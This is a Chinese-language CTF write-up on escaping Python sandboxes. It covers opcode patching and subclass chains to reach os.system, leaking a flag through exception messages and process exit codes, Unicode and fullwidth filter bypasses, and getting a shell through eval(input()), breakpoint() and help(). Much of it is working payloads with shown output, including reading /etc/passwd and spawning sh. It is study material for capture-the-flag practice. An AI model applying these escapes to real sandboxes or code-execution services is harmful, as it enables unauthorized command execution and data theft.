opcode又称为操作码,是将python源代码进行编译之后的结果,python虚拟机无法直接执行human-readable的源代码,因此python编译器第一步先将源代码进行编译,以此得到opcode。例如在执行python程序时一般会先生成一个pyc文件,pyc文件就是编译后的结果,其中含有opcode序列。
那么如何查看一个函数的opcode呢,写个例子看看先
import dis
code_str = 'print("a")'
code = compile(code_str, '<string>', 'exec')
dis.dis(code)
print("\nconsts: ", code.co_consts)
print("names: ", code.co_names)
print("code: ", code.co_code.hex())

IMPORT_FROM、LOAD_ATTR 相互替换
思路来自于:
LOAD_ATTR 可以和 IMPORT_FROM 直接替换。
LOAD_NAME & LOAD_ATTR
LOAD_ATTR 是用来从对象中获取属性的字节码指令。它通常用于从一个已经加载到栈上的对象(如模块或类实例)中获取某个属性。
例如导入 os.system 函数
import os
os.system
对应的字节码如下,其中最为关键的就是 LOAD_NAME 和 LOAD_ATTR。
2 0 LOAD_CONST 0 (0)
2 LOAD_CONST 1 (None)
4 IMPORT_NAME 0 (os)
6 STORE_NAME 0 (os)
3 8 LOAD_NAME 0 (os)
10 LOAD_ATTR 1 (system)
12 POP_TOP
14 LOAD_CONST 1 (None)
16 RETURN_VALUE
consts: (0, None)
names: ('os', 'system')
code: 640064016c005a0065006a01010064015300
6400 -> LOAD_CONST, consts[0] -> 0
6401 -> LOAD_CONST, consts[1] -> None
6c00 -> IMPORT_NAME, names[0] -> os
5a00 -> STORE_NAME, names[0] -> os
6500 -> LOAD_NAME, names[0] -> os
6a01 -> LOAD_ATTR, names[1] -> system
0100 -> POP_TOP
6401 -> LOAD_CONST, consts[1] -> None
5300 -> RETURN_VALUE
IMPORT_NAME & IMPORT_FROM
如果使用 from 来进行函数导入:
from os import sys
得到的字节码信息如下,可以看到使用的是 IMPORT_NAME 和 IMPORT_FROM 组合
2 0 LOAD_CONST 0 (0)
2 LOAD_CONST 1 (('system',))
4 IMPORT_NAME 0 (os)
6 IMPORT_FROM 1 (system)
8 STORE_NAME 1 (system)
10 POP_TOP
12 LOAD_CONST 2 (None)
14 RETURN_VALUE
consts: (0, ('system',), None)
names: ('os', 'system')
code: 640064016c006d015a01010064025300
6400 -> LOAD_CONST, consts[0] -> 0
6401 -> LOAD_CONST, consts[1] -> ('system',)
6c00 -> IMPORT_NAME, names[0] -> os
6d01 -> IMPORT_FROM, names[1] -> system
5a01 -> STORE_NAME, arg -> 1
0100 -> POP_TOP
6402 -> LOAD_CONST, consts[2] -> None
5300 -> RETURN_VALUE
替换字节码
在 LACTF 2023 Pycjail 这道题的场景中,用户输入的 const、names、code 最终会替换到题目中的一个空函数中并执行。排除掉题目其他的过滤,大致的逻辑如下:
- 填充 f 函数 co_consts、co_names、co_code
- 然后执行函数。
测试代码如下:
def f():
pass
f.__code__ = f.__code__.replace(
co_stacksize=10,
co_consts=("a", 139, "system", "dir"),
co_names=tuple("__class__,__base__,__subclasses__,__init__,__globals__".split(",")),
co_code=bytes.fromhex(trans_bytes("64006a006a01a002a100640119006a036a046402190064038301010064045300")),
)
print("here goes!")
frame = inspect.currentframe()
p = print
r = repr
for k in list(frame.f_globals):
if k not in ("p", "r", "f"):
del frame.f_globals[k]
p(r(f()))
我们可以使用下面的脚本来生成 payload,我本地的 _wrap_close 的索引为 139.
import dis
import inspect
from test_opcode_display import display_opcode_py310
code_str = '''
'a'.__class__.__base__.__subclasses__()[139].__init__.__globals__['system']('dir')
'''
code = compile(code_str, '<string>', 'exec')
dis.dis(code)
print("\nconsts: ", code.co_consts)
print("names: ", code.co_names)
print("code: ", code.co_code.hex())
# 64006d006d01a002a100640119006d036d046402190064038301010064045300
LOAD_ATTR 对应操作码 6a,IMPORT_FROM 对应字节码为 6d,当我将 6a 直接替换为 6d 时,居然能够正常执行!
无回显
在 Python 中使用 exec 函数执行代码时,默认情况下没有输出,如果想要再 exec 中打印结果,就需要在执行代码块时假如 print。
以 AmateursCTF 2023 的一道题目为例,题目的源码如下:
#!/usr/local/bin/python
from flag import flag
for _ in [flag]:
while True:
try:
code = ascii(input("Give code: "))
if "flag" in code or "e" in code or "t" in code or "\\" in code:
raise ValueError("invalid input")
exec(eval(code))
except Exception as err:
print(err)
在这道题中,首先通过 ascii 将输入进行转化,使用 ascii 后,即使 unicode,也会被转化为 \u00xx 的形式。然后判断输入中是否出现了 flag、e、t、以及 \。这样的过滤条件基本将 unicode 绕过的方式给限制住了。过滤了 e 和 t, print、help 等输出函数也会被过滤, 而题目使用 exec 来执行 python 代码,因此除了绕过过滤之外,还需要考虑如何获取输出。
注意到这道题添加了一个异常处理,如果 exec 中出现错误,则会将错误信息打印出来,借助异常处理的输出,就可以将 Python 中的一些内部变量给带出来。
利用异常处理
作为客户端输入,结合当前读取变量的场景,python 中可利用的一些异常大多为:
KeyError(键错误): 当访问字典中不存在的键时引发的错误。(用户输入的键名被应用使用)FileNotFoundError(文件未找到错误): 在尝试打开不存在的文件时引发的错误。ValueError(值错误): 当函数接收到正确类型的参数,但参数值不合适时引发的错误。
这道题中 _ 与 flag 的值一致,因此我们只需要获取变量 _ 就可以获取 flag。
KeyError
KeyError 出现在访问字典中不存在的键,利用时,可以随便构造一个字典,然后以需要读取的变量作为键名传进去。比如在这道题中输入:
Give code: {"1":"2"}[_]
'flag{xxxx}'
FileNotFoundError
FileNotFoundError 出现在找不到指定文件时,将需要读取的变量名传入文件操作函数就可以触发异常。例如 file(python2)、open 等。
但由于题目过滤了 e,这些函数都无法使用,如果需要测试的话可以将过滤的语句删除掉。
Give code: open(_)
[Errno 2] No such file or directory: 'flag{xxxx}'
ValueError
ValueError 比较好利用,只需要将需要读取的变量,传入一个函数,该函数的参数类型与这个要读取的变量不一致即可,例如:
Give code: int(_)
ValueError: invalid literal for int() with base 10: 'flag{xxxx}'
当然这里过滤了 t,int 函数无法使用,可以去寻找一些别的函数。
Popen.returncode
在 aliyunCTF 2025 ezoj 这道题中,给出了一个使用 subprocess.Popen 执行 python 脚本,但无回显的情况,
process = subprocess.Popen(
["python3", code_filename],
stdin=infile,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
)
try:
stdout, stderr = process.communicate(timeout=5)
except subprocess.TimeoutExpired:
process.kill()
raise OJTimeLimitExceed
if process.returncode != 0:
raise OJRuntimeError(process.returncode)
但是题目给了一个 OJRuntimeError,并且传入了 returncode 属性。returncode 属性用于保存子进程退出时返回的退出码,反映了子进程是在正常结束还是在运行过程中出现异常。
这道题会将错误码发送给客户端:
except OJRuntimeError as e:
return {"status": "RE", "message": f"Runtime Error: ret={e.args[0]}"}
returncode 的可能取值有以下几种
- None:表示子进程尚未终止,此时 returncode 还没有被赋值。
- 0:表示子进程成功结束,没有发生错误。
- 正整数:表示子进程执行时出现了错误,返回码通常会反映错误类型或状态码。
- 负整数:(仅在 POSIX 系统中)表示子进程被某个信号强制终止,其数值通常为 -N,其中 N 是引起终止的信号编号。
由于 ascii 也是 0-255,借助这个 returncode 就可以实现回显,但 returncode 仅有一位,所以需要逐位回显。
import sys
...
content_len = len(content)
if {loc} < content_len:
sys.exit(content[{loc}])
else:
sys.exit(255)
钩子爹来咯!
钩子是什么?钩子就是钩子啊
Audit Hook审计钩子是Python3.8开始引入的一项安全功能旨在让 Python 运行时的操作对外部监控工具可见。该功能允许开发者通过注册钩子函数来监控和控制特定的事件,尤其是与安全相关的操作。这种机制为系统管理员、测试人员和安全专家提供了一个有效的手段来检测、记录或阻止特定操作。
审计钩子通过
sys.addaudithook()函数添加。每当发生特定事件时,Python会调用这些钩子函数,并将事件名称和相关参数传递给它们。钩子函数可以选择记录这些事件,或者在检测到不允许的操作时抛出异常,从而阻止操作继续进行。
而发生审计事件时,Python就会调用这些钩子
Python 中的审计事件包括但不限于以下几类:
import:发生在导入模块时。open:发生在打开文件时。write:发生在写入文件时。exec:发生在执行Python代码时。compile:发生在编译Python代码时。socket:发生在创建或使用网络套接字时。os.system,os.popen等:发生在执行操作系统命令时。subprocess.Popen,subprocess.run等:发生在启动子进程时
所有的事件列表可见:
你可以定义一个函数
def waf(event,args):
if not event in ["builtins.input","builtins.input/result"]:
raise Exception("Errror")
sys.addaudithook(waf)
接着之后的代码一旦不在白名单内就会raise Exception
篡改内置函数
乱七八糟的WAF
过滤import
__import__
除了可以使用 import,还可以使用 __import__和 importlib.import_module来导入模块
importlib 需要进行导入后才能够使用
还可以使用execfile
__import__('os')
importlib.import_module('os').system('ls')
#py2
execfile('/usr/lib/python2.7/os.py')
#py3
with open('/usr/lib/python3.6/os.py','r') as f:
exec(f.read())
#这个是需要事先知道路径的,要用sys.path(if)去事先试探一下
__loader__
__loader__.load_module底层实现与 import 不同, 可以绕过audithook
__loader__.load_module('os')
过滤字母
可以用全角字符绕过半角字符
def halfwidth_to_fullwidth(text):
"""将半角字符转换为全角字符"""
result = []
for char in text:
code = ord(char)
if code == 0x20: # 半角空格 → 全角空格
result.append('\u3000')
elif 0x21 <= code <= 0x7E: # 可打印ASCII字符 → 全角字符
result.append(chr(code + 0xFEE0))
else: # 其他字符保持不变
result.append(char)
return ''.join(result)
# 目标字符串
target_string = "eval"
# 转换并直接打印结果
print(halfwidth_to_fullwidth(target_string))

可以看到绕过成功
还有一种方法也可以绕过,利用特殊的Unicode字符
𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗
𝘢𝘣𝘤𝘥𝘦𝘧𝘨𝘩𝘪𝘫𝘬𝘭𝘮𝘯𝘰𝘱𝘲𝘳𝘴𝘵𝘶𝘷𝘸𝘹𝘺𝘻
𝘈𝘉𝘊𝘋𝘌𝘍𝘎𝘏𝘐𝘑𝘒𝘔𝘕𝘖𝘗𝘘𝘙𝘚𝘛𝘜𝘝𝘞𝘟𝘠𝘡
#coding=utf-8
def convert_to_math_sans_italic(text):
result = []
for char in text:
code = ord(char)
if 0x30 <= code <= 0x39:
result.append(chr(code - 0x30 + 0x1D7EC))
elif 0x61 <= code <= 0x7A:
result.append(chr(code - 0x61 + 0x1D622))
elif 0x41 <= code <= 0x5A:
result.append(chr(code - 0x41 + 0x1D608))
else:
result.append(char)
return ''.join(result)
if __name__ == "__main__":
original = "eval"
converted = convert_to_math_sans_italic(original)
print("原始字符串:", original)
print("转换结果: ", converted)

可以看到也绕过成功了
但是要注意的是放在语句中时绝对不能用全角字符作开头,会褒姒

过滤属性
利用一下getattr这个函数
功能其实就是获取类的某个属性值
>>> getattr(os,'system')('cat /etc/passwd')
root:x:0:0:root:/root:/usr/bin/zsh
也可以用__getattribute__方法替换
>>> os.__getattribute__('system')
<built-in function system>
还可以用__getattr__
这是一个魔术方法
行数限制
绕过多行限制的利用手法通常在限制了单行代码的情况下使用,例如 eval, 中间如果存在;或者换行会报错。
>>> eval("__import__('os');print(1)")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1
__import__('os');print(1)
exec
exec 可以支持换行符与;
>>> eval("exec('__import__(\"os\")\\nprint(1)')")
1
compile
compile 在 single 模式下也同样可以使用 \n 进行换行, 在 exec 模式下可以直接执行多行代码.
eval('''eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))''')
海象表达式
海象表达式是 Python 3.8 引入的一种新的语法特性,用于在表达式中同时进行赋值和比较操作。
海象表达式的语法形式如下:
<expression> := <value> if <condition> else <value>
借助海象表达式,我们可以通过列表来替代多行代码:
>>> eval('[a:=__import__("os"),b:=a.system("id")]')
uid=1000(kali) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),122(bluetooth),134(scanner),142(kaboxer)
[<module 'os' (frozen)>, 0]
长度限制
BYUCTF_2023 中的几道 jail 题对 payload 的长度作了限制
eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130])
题目限制不能出现数字字母,构造的目标是调用 open 函数进行读取
print(open(bytes([102,108,97,103,46,116,120,116])).read())
函数名比较好绕过,直接使用 unicode。数字也可以使用 ord 来获取然后进行相减。我这里选择的是 chr(333).
# f = 102 = 333-231 = ord('ō')-ord('ç')
# a = 108 = 333-225 = ord('ō')-ord('á')
# l = 97 = 333-236 = ord('ō')-ord('ì')
# g = 103 = 333-230 = ord('ō')-ord('æ')
# . = 46 = 333-287 = ord('ō')-ord('ğ')
# t = 116 = 333-217 = ord('ō')-ord('Ù')
# x = 120 = = 333-213 = ord('ō')-ord('Õ')
print(open(bytes([ord('ō')-ord('ç'),ord('ō')-ord('á'),ord('ō')-ord('ì'),ord('ō')-ord('æ'),ord('ō')-ord('ğ'),ord('ō')-ord('Ù'),ord('ō')-ord('Õ'),ord('ō')-ord('Ù')])).read())
但这样的话其实长度超出了限制。而题目的 eval 表示不支持分号 ;,这种情况下,我们可以添加一个 exec。然后将 ord 以及不变的 a('ō') 进行替换。这样就可以构造一个满足条件的 payload
exec("a=ord;b=a('ō');print(open(bytes([b-a('ç'),b-a('á'),b-a('ì'),b-a('æ'),b-a('ğ'),b-a('Ù'),b-a('Õ'),b-a('Ù')])).read())")
但其实尝试之后发现这个 payload 会报错,原因在于其中的某些 unicode 字符遇到 lower() 时会发生变化,避免 lower 产生干扰,可以在选取 unicode 时选择 ord 值更大的字符。例如 chr(4434)
当然,可以直接使用 input 函数来绕过长度限制。
打开 input 输入
如果沙箱内执行的内容是通过 input 进行传入的话(不是 web 传参),我们其实可以传入一个 input 打开一个新的输入流,然后再输入最终的 payload,这样就可以绕过所有的防护。
以 BYUCTF2023 jail a-z0-9 为例:
eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130])
即使限制了字母数字以及长度,我们可以直接传入下面的 payload(注意是 unicode)
𝘦𝘷𝘢𝘭(𝘪𝘯𝘱𝘶𝘵())
这段 payload 打开 input 输入后,我们再输入最终的 payload 就可以正常执行。
__import__('os').system('whoami')
打开输入流需要依赖 input 函数,no builtins 的环境中或者题目需要以 http 请求的方式进行输入时,这种方法就无法使用了。
下面是一些打开输入流的方式:
- sys.stdin.read()
注意输入完毕之后按 ctrl+d 结束输入
>>> eval(sys.stdin.read())
__import__('os').system('whoami')
kali
0
>>>
- sys.stdin.readline()
>>> eval(sys.stdin.readline())
__import__('os').system('whoami')
- sys.stdin.readlines()
>>> eval(sys.stdin.readlines()[0])
__import__('os').system('whoami')
在 python2 中,在python 2中,input 函数从标准输入接收输入之后会自动 eval 求值。因此无需在前面加上 eval。但 raw_input 不会自动 eval。
breakpoint 函数
pdb 模块定义了一个交互式源代码调试器,用于 Python 程序。它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意 Python 代码。它还支持事后调试,可以在程序控制下调用。
在输入 breakpoint() 后可以代开 Pdb 代码调试器,在其中就可以执行任意 python 代码
>>> 𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵()
--Return--
> <stdin>(1)<module>()->None
(Pdb) __import__('os').system('ls')
a-z0-9.py exp2.py exp.py flag.txt
0
(Pdb) __import__('os').system('sh')
$ ls
a-z0-9.py exp2.py exp.py flag.txt
help 函数
help 函数可以打开帮助文档. 索引到 os 模块之后可以打开 sh
当我们输入 help 时,注意要进行 unicode 编码,help 函数会打开帮助
𝘩𝘦𝘭𝘱()
然后输入 os,此时会进入 os 的帮助文档。
help> os
然后在输入 !sh 就可以拿到 /bin/sh, 输入 !bash 则可以拿到 /bin/bash
help> os
$ ls
a-z0-9.py exp2.py exp.py flag.txt
$